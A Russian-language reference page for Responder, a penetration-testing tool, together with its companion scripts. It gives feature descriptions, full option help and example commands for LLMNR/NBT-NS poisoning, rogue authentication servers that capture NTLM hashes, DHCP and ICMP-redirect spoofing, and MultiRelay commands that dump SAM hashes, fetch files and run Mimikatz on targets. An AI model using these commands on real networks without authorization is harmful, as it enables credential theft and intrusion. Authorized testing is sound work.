Responder
Описание Responder
Responder это инструмент для выполнения атаки человек-посередине в отношении методов аутентификации в Windows. Эта программа включает в себя травитель LLMNR, NBT-NS и MDNS благодаря которому перенаправляется трафик с запросами и хешами аутентификации. Также в программу встроены жульнические серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию, для которых Responder выполняет роль ретранслятора.
Responder это LLMNR, NBT-NS и MDNS poisoner (травитель). Он будет отвечать на определённые запросы NBT-NS (NetBIOS Name Service (Сервис Имён)) основываясь на их суффиксе имён. По умолчанию инструмент будет отвечать только на запросы File Server Service (службы файлового сервера) работу которого обеспечивает протокол SMB.
Идея здесь в том, чтобы наши ответы носили целевой характер, а мы были менее заметны в сети. Это также помогает гарантировать, что мы не нарушим нормальное поведение NBT-NS. Если вы хотите отвечать на запросы суффикса имени Workstation Service (сервиса рабочей станции), то вы можете в строке команды установить опцию -r.
Функции Responder
Встроенный сервер аутентификации SMB.
По умолчанию поддержка хешей NTLMv1, NTLMv2 с Расширенной Безопасностью NTLMSSP. Успешно протестировано с Windows 95 до Server 2012 RC, Samba и Mac OSX Lion. Пароль в открытом виде если поддерживается для NT4, и понижение хеширования LM когда установлена опция --lm. SMBv2 также был реализован и поддерживается по умолчанию.
Встроенный сервер аутентификации MSSQL.
Чтобы перенаправить SQL аутентификацию на этот инструмент, вам понадобится установить опцию -r (NBT-NS запросы для преобразования SQL Server используют суффикс имени Workstation Service (службы рабочей станции)) для систем старше чем Windows Vista (LLMNR будет использоваться для Vista и выше). Этот сервер поддерживает хеши NTLMv1, LMv2. Эта функциональность была успешно протестирована на Windows SQL Server 2005 и 2008.
Встроенный сервер аутентификации HTTP.
Для перенаправления HTTP аутентификации на этот инструмент, вам понадобится установить опцию -r для Windows версии старше чем Vista (NBT-NS запросы для преобразований сервера HTTP отправляются с использованием суффикса имени Workstation Service (службы рабочей станции)). Для Vista и выше, будет использоваться LLMNR. Этот сервер поддерживает NTLMv1, NTLMv2 хеши и Базовую аутентификацию (Basic Authentication). Этот сервер был успешно протестирован на IE с 6 версии по IE 10 версии, Firefox, Chrome, Safari.
Примечание: этот модуль также работает для аутентификации WebDav NTLM выпущенной от клиентов Windows WebDav (WebClient). Теперь вы можете отправить любой файл жертве.
Встроенный сервер аутентификации HTTPS.
Как и предыдущий. Папка certs/ содержит 2 предустановленных ключа, включая самодельный приватный ключ. Это сделано специально, в целях того, чтобы Responder работал из коробки. В этой же папке вы найдёте скрипт gen-self-signed-cert.sh, который был добавлен на тот случай, если вы захотите сгенерировать свою собственную самоподписанную пару ключей.
Встроенный сервер аутентификации LDAP.
Чтобы перенаправить LDAP аутентификацию на этот инструмент, вам нужно установить опцию -r для версий Windows версии старше чем Vista (NBT-NS запросы для преобразований сервера HTTP отправляются с использованием суффикса имени Workstation Service (службы рабочей станции)). Для Vista и выше, будет использоваться LLMNR. Этот сервер поддерживает NTLMSSP хеши и Simple Authentication )аутентификацию в виде простого текста). Этот сервер был успешно протестирован на Windows Support tool "ldp" и LdapAdmin.
Встроенные серверы аутентификации FTP, POP3, IMAP, SMTP.
Этот модуль соберёт учётные данные в виде простого текста.
Встроенный DNS сервер.
Этот сервер ответит записями A. Это очень полезно при сочетании с ARP спуфингом.
Встроенный прокси сервер WPAD.
Этот модуль будет захватывать все HTTP запросы от любого запущенного в сети Internet Explorer если у они имеют включённые "Auto-detect settings" (настройки автоматического определения прокси). Этот модуль крайне эффективный. Вы можете настроить ваш собственный скрипт в Responder.conf и внедрить HTML код в ответы сервера. Смотрите файл Responder.conf.
Слушатель браузеров (Browser Listener)
Этот модуль позволяет найти PDC в невидимом режиме.
Снятие отпечатков (Fingerprinting)
Когда используется опция -f, Responder будет снимать отпечатки с любого хоста, выполнившего LLMNR/NBT-NS запрос. В режиме снятия отпечатков все модули захвата продолжают работать.
Icmp редирект
python tools/Icmp-Redirect.py
Для атаки человек-посередине (MITM) на Windows XP/2003 и более ранних членах Домена. Эта атака в комбинации с модулем DNS является весьма эффективный.
Жульнический DHCP
python tools/DHCP.py
DHCP Inform Spoofing. Позволяет вам сделать так, что реальный DHCP сервер выдаёт IP и затем отправляет DHCP Inform ответ для установки вам IP адреса как главного DNS сервера и вашего собственного WPAD URL.
Режим анализа.
Этот модуль позволяет вам видеть NBT-NS, BROWSER, LLMNR, DNS запросы в сети без их травления какими либо ответами. Также вы можете пассивно составить карту доменов, серверов MSSQL и рабочих станций, увидеть, будет ли атака ICMP Редиректы иметь успех в вашей сети.
Домашняя страница: https://github.com/lgandx/Responder
Автор: Laurent Gaffie
Лицензия: GPLv3
Справка по Responder
Использование:
python Responder.py ОПЦИИ
Опции можно записывать как по одной:
python Responder.py -I eth0 -w -r -f
так и компоновать вместе:
python Responder.py -I eth0 -wrf
Опции:
--version показать номер версии программы и выйти -h, --help показать сообщение справки и выйти -A, --analyze Режим анализа. Эта опция позволяет вам видеть NBT-NS, BROWSER, LLMNR запросы без фальшивых ответов на них. -I eth0, --interface=eth0 Сетевой интерфейс для использования, вы можете использовать 'ALL' чтобы выбрать все интерфейсы -i 10.0.0.21, --ip=10.0.0.21 Локальный IP для использования (только для OSX) -e 10.0.0.22, --externalip=10.0.0.22 Травить все запросы с другого IP адреса нежели адрес Responder'а. -b, --basic Вернуть Basic HTTP аутентификацию. По умолчанию: NTLM -r, --wredir Включить ответы для запросов суффиксов netbios wredir. Ответы на wredir весьма вероятно поломают всё в сети. По умолчанию: False -d, --NBTNSdomain Включить ответы для запросов суффиксов домена netbios. Ответ на доменные суффиксы весьма вероятно поломают всё в сети. По умолчанию: False -f, --fingerprint Эта опция включает сбор отпечатков (информации) о хостах, отправляющих запросы NBT-NS или LLMNR. -w, --wpad Запустить жульнический прокси сервер WPAD. Значением по умолчанию является: False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY Вышестоящий HTTP прокси используемый жульническим WPAD прокси для исходящих запросов (формат: хост:порт) -F, --ForceWpadAuth Принудительная NTLM/Basic аутентификация при получении файла wpad.dat retrieval. Это может привести к появлению окон запроса входа. По умолчанию: False -P, --ProxyAuth Принудительная NTLM (прозрачная)/Basic (через окно входа) аутентификация для прокси. WPAD не обязательно должен быть ON. Эта опция крайне эффективна когда комбинируется с -r. По умолчанию: False --lm Принудительное понижение хеша LM для Windows XP/2003 и более ранних. По умолчанию: False -v, --verbose Увеличить вербальность.
Справка по responder-multirelay
Для лучших результатов используйте этот скрипт в сочетании с responder. Убедитесь, что в файле Responder.conf значения SMB и HTTP установлены на OFF.
Этот инструмент прослушивает на TCP портах 80, 3128 и 445.
Для оптимальных результатов, запустите Responder только с этими двумя опциями: -rv
Избегайте использовать команды которые скорее всего вызовут приглашение ввода информации, такие как net use и т. д. Если вы сделали так, используйте taskkill (как system) для закрытия этого процесса.
Использование:
python MultiRelay.py ОПЦИИ
Опции:
--version показать номер версии программы и выйти -h, --help показать сообщение справки и выйти -t 10.20.30.45 Целевой сервер для SMB ретранслятора. -p 8081 Дополнительный порт для прослушивания, он будет ретранслятором для входящих пакетов прокси, http и webdav. -u, --UserToRelay Пользователи для ретранслирования. Используйте '-u ALL' для ретрансляции всех пользователей. -c whoami, --command=whoami Единичная команда для запуска (скриптование) -d, --dump Дамп хешей (скриптование)
Обязательными опциями являются -t и -u.
Примеры использования:
python MultiRelay.py -t 10.20.30.40 -u Administrator lgandx admin python MultiRelay.py -t 10.20.30.40 -u ALL
Доступные после запуска интерактивные команды:
dump
Извлечь базу данных SAM и напечатать хеши.
regdump
Дамп ключа регистра HKLM (например: regdump SYSTEM)
read ПУТЬ_ДО_ФАЙЛА
Прочитать файл (например: read /windows/win.ini)
get ПУТЬ_ДО_ФАЙЛА
Загрузить файл (например: get users/administrator/desktop/password.txt)
delete ПУТЬ_ДО_ФАЙЛА
Удалить файл (например: delete /windows/temp/executable.exe)
upload ПУТЬ_ДО_ФАЙЛА
Выгрузить локальный файл (например: upload /home/user/bk.exe), файлы будут выгружены в \\windows\\temp\\
runas КОМАНДА
Запустить КОМАНДУ как текущий выполнивший вход пользователь. (например: runas whoami)
scan /24
Сканировать (используя SMB) это /24 или /16 для поиска хостов для пивотинга
pivot IP адрес
Подключиться к другому хосту (например: pivot 10.0.0.12)
mimi КОМАНДА
Запустить удалённую Mimikatz 64 битную команду (например: mimi coffee)
mimi32 КОМАНДА
Запустить удалённую Mimikatz 32 битную команду (например: mimi coffee)
lcmd КОМАНДА
Запустить локальную команду и отобразить результат в оболочке MultiRelay (например: lcmd ifconfig)
help
Напечатать справку.
exit
Выйти из оболочки и вернуться в режим ретранслятора.
Если вы хотите выйти, напишите exit, а затем используйте CTRL-c
Любые другие команды, отличные от вышеприведённых, будут выполнены на цели от SYSTEM.
Справка по responder-findsmb2uptime
Использование:
responder-findsmb2uptime 10.1.3.37
или:
responder-findsmb2uptime 10.1.3.37/24
Справка по responder-runfinger
Использование:
python RunFinger.py -i 10.10.10.224
или:
python RunFinger.py -i 10.10.10.0/24
Опции:
--version показать номер версии программы и выйти -h, --help показать справку и выйти -i 10.10.10.224, --ip=10.10.10.224 Целевой IP адрес или подсеть класса C -g, --grep Вывод в формате для поиска по регулярным выражениям программой grep
Справка по responder-dhcp
По умолчанию этот скрипт будет внедрять новый DNS/WPAD сервер в машины с Windows <= XP/2003.
Для внедрения DNS сервера/домена/маршрута на Windows >= Vista и Linux, используйте -R (может быть шумным).
Используйте настройку RespondTo в файле Responder.conf для атаки только на определённые цели.
Дополнительно поставляется скрипт DHCP_Auto.sh, который должен автоматизировать запуск и автоматически выбирать опции.
Использование:
python DHCP.py -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1
Опции:
-h, --help показать справку и выйти -I eth0, --interface=eth0 Имя интерфейса для использования, например: eth0 -d pwned.com, --dnsname=pwned.com Имя DNS для инъекции, если вы не хотите делать инъекцию DNS сервера, то укажите оригинальный. -r 10.20.1.1, --router=10.20.1.1 IP адрес роутера или ваш если вы хотите перехватывать трафик. -p 10.20.1.10, --primary=10.20.1.10 IP адрес оригинального первичного DNS сервера или ваш -s 10.20.1.11, --secondary=10.20.1.11 IP адрес оригинального вторичного DNS сервера или ваш -n 255.255.255.0, --netmask=255.255.255.0 Сетевая маска этой сети -w "http://wpadsrv/wpad.dat", --wpadserver="http://wpadsrv/wpad.dat" Строка вашего WPAD сервера -S Спуфить IP адрес роутера -R Отвечать на DHCP запросы, инъекция клиентов Linux (очень шумный, это отправляется на 255.255.255.255)
Справка по responder-icmp-redirect
Эта утилита в сочетании с Responder полезна, когда вы сидите в сети на базе Windows.
Большинство дистрибутивов Linux по умолчанию отбрасывают перенаправления ICMP.
Обратите внимание, что если целью является Windows, отравление будет длиться только в течение 10 минут, вы можете повторно отравить цель, запустив эту утилиту снова
Если вы хотите отвечать на трафик, например, на DNS запросы, которые исходят от вашей цели, запустите как root команду вида:
sudo iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst ЦЕЛЬ_НАЗНАЧЕНИЯ --dport 53 -j DNAT --to-destination ЭТОТ_ХОСТ:53
Использование:
python Icmp-Redirect.py -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1
Опции:
-h, --help показать справку и выйти -i 10.20.30.40, --ip=10.20.30.40 IP адрес на который перенаправлять трафик. (обычно ваш) -g 10.20.30.254, --gateway=10.20.30.254 IP адрес исходного шлюза (чтобы узнать где шлюз, выполните команду 'route -n' -t 10.20.30.48, --target=10.20.30.48 IP адрес цели -r 10.20.40.1, --route=10.20.40.1 IP адрес, куда цель отправляет трафик, например: DNS сервер. Должен быть в другой подсети. -s 10.20.40.1, --secondaryroute=10.20.40.1 IP адрес, куда цель отправляет трафик, например: вторичный DNS сервер. Должен быть в другой подсети. -I eth0, --interface=eth0 Имя интерфейса для использования, пример: eth0 -a 10.20.30.40, --alternate=10.20.30.40 Альтернативный шлюз, установите эту опцию если вы хотите перенаправить трафик жертвы на другой, отличный от вашего хоста
Справка по responder-dumphash
Выводит список всех захваченных хешей. У программы нет опций, но для доступа к файлу дампа DumpNTLMv2.txt нужно запускать с правами root:
sudo responder-dumphash
Справка по responder-report
Генерирует отчёт на основе записанных журналов активности responder.
Программа запускается без опций:
responder-report
Справка по FindSMB2UPTime
Использование:
python ./FindSMB2UPTime.py 10.1.3.37
или:
python ./FindSMB2UPTime.py 10.1.3.37/24
Справка по FindSQLSrv
Нет информации.
Справка по responder-BrowserListener
Нет информации.
Руководство по Responder
Страница man отсутствует.
Хеши
Все хеши печатаются в стандартный вывод и сбрасываются в уникальный файл совместимый с John Jumbo в следующем формате:
(ИМЯ_МОДУЛЯ)-(ТИП_ХЕША)-(IP_КЛИЕНТА).txt
Файлы журналов располагаются в папке "logs/". Хеши будут сохранены и напечатаны только один раз на одного пользователя на один тип хеша. Будет выведен каждый хеш, если вы используете Вербальный режим, то есть если вы указали опцию -v.
Вся активность будет записана в файл Responder-Session.log
Режим анализа запишет свой журнал в Analyze-Session.log
Травление будет записано в файл Poisoners-Session.log
Дополнительно все захваченные хеши сохраняются в базе данных SQLite, которую вы можете настроить в Responder.conf
Особенности запуска
Этот инструмент прослушивает несколько портов: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 и Multicast UDP 5553.
Если на вашей системе запущена Samba, остановите smbd и nmbd и все другие службы, прослушивающие указанные порты.
Для пользователей Ubuntu
Откройте для редактирования файл /etc/NetworkManager/NetworkManager.conf и закомментируйте строку:
dns=dnsmasq
Затем остановите dnsmasq командой:
sudo killall dnsmasq -9
Общие замечания
Любой жульнический сервер можно отключить в Responder.conf.
Этот инструмент не предназначен для работы на Windows.
Замечания для пользователей OSX
Responder должен быть запущен с указанным IP адресом при флаге -i (например -i ВАШ_IP_АДРЕС). В OSX нет поддержки для привязки к указанному интерфейсу. Использование -i en1 не работает. Также для лучших результатов с Responder, запустите следующее как root:
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
Примеры запуска Responder
Запустить в Режиме анализа (-A) с подробным выводом (-v) на указанном сетевом интерфейсе (-I):
sudo responder -I wlo1 -v -A
Запустить атаку на указанном сетевом интерфейсе (-I), включить ответы для запросов суффиксов netbios wredir (-r), включить принудительную NTLM (прозрачная)/Basic (через окно входа) аутентификацию для прокси (-P), включить сбор отпечатков (информации) о хостах, отправляющих запросы NBT-NS или LLMNR (-f), а также включить подробный вывод (-v):
sudo responder -I wlo1 -rPvf
Вывести отчёт, содержащий имена компьютеров и имена пользователей:
responder-report
Вывести перехваченные хеши:
sudo responder-dumphash
Установка Responder
Программа предустановлена в Kali Linux.
Установка в BlackArch
Программа предустановлена в BlackArch.
sudo pacman -S responder
Информация об установке в другие операционные системы будет добавлена позже.
Comments are Closed